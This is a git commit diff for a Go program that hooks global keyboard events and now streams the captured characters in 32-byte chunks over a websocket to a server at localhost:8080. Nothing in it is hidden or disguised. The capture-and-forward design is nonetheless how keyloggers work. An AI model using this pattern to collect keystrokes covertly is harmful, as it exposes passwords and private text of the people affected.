✨ Adds websocket server connection
This commit is contained in:
@@ -2,7 +2,10 @@ package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
hook "github.com/robotn/gohook"
|
||||
)
|
||||
|
||||
@@ -16,7 +19,45 @@ const (
|
||||
REG_END = 255
|
||||
)
|
||||
|
||||
const HOST = "localhost:8080"
|
||||
|
||||
var u = url.URL{Scheme: "ws", Host: HOST, Path: "/keys"}
|
||||
|
||||
func main() {
|
||||
var conn *websocket.Conn
|
||||
var err error
|
||||
var tries = 0
|
||||
for {
|
||||
conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
|
||||
if err != nil {
|
||||
fmt.Printf("conn err %v\n", err)
|
||||
tries += 1
|
||||
if tries >= 3 {
|
||||
fmt.Printf("returning")
|
||||
return
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("breaking")
|
||||
break
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
go func() {
|
||||
defer os.Exit(0)
|
||||
for {
|
||||
kind, _, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
fmt.Printf("got read err %v\n", err)
|
||||
return
|
||||
}
|
||||
if kind == websocket.CloseMessage {
|
||||
fmt.Printf("got close message")
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
evChan := hook.Start()
|
||||
defer hook.End()
|
||||
buff := make([]byte, 64)
|
||||
@@ -71,11 +112,13 @@ func main() {
|
||||
|
||||
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
|
||||
if ev.Kind == hook.KeyDown {
|
||||
fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
|
||||
buff = append(buff, byte(ev.Keychar))
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("'%s'\n", buff)
|
||||
if len(buff) >= 32 {
|
||||
conn.WriteMessage(websocket.TextMessage, buff[:32])
|
||||
buff = buff[32:]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Reference in New Issue
Block a user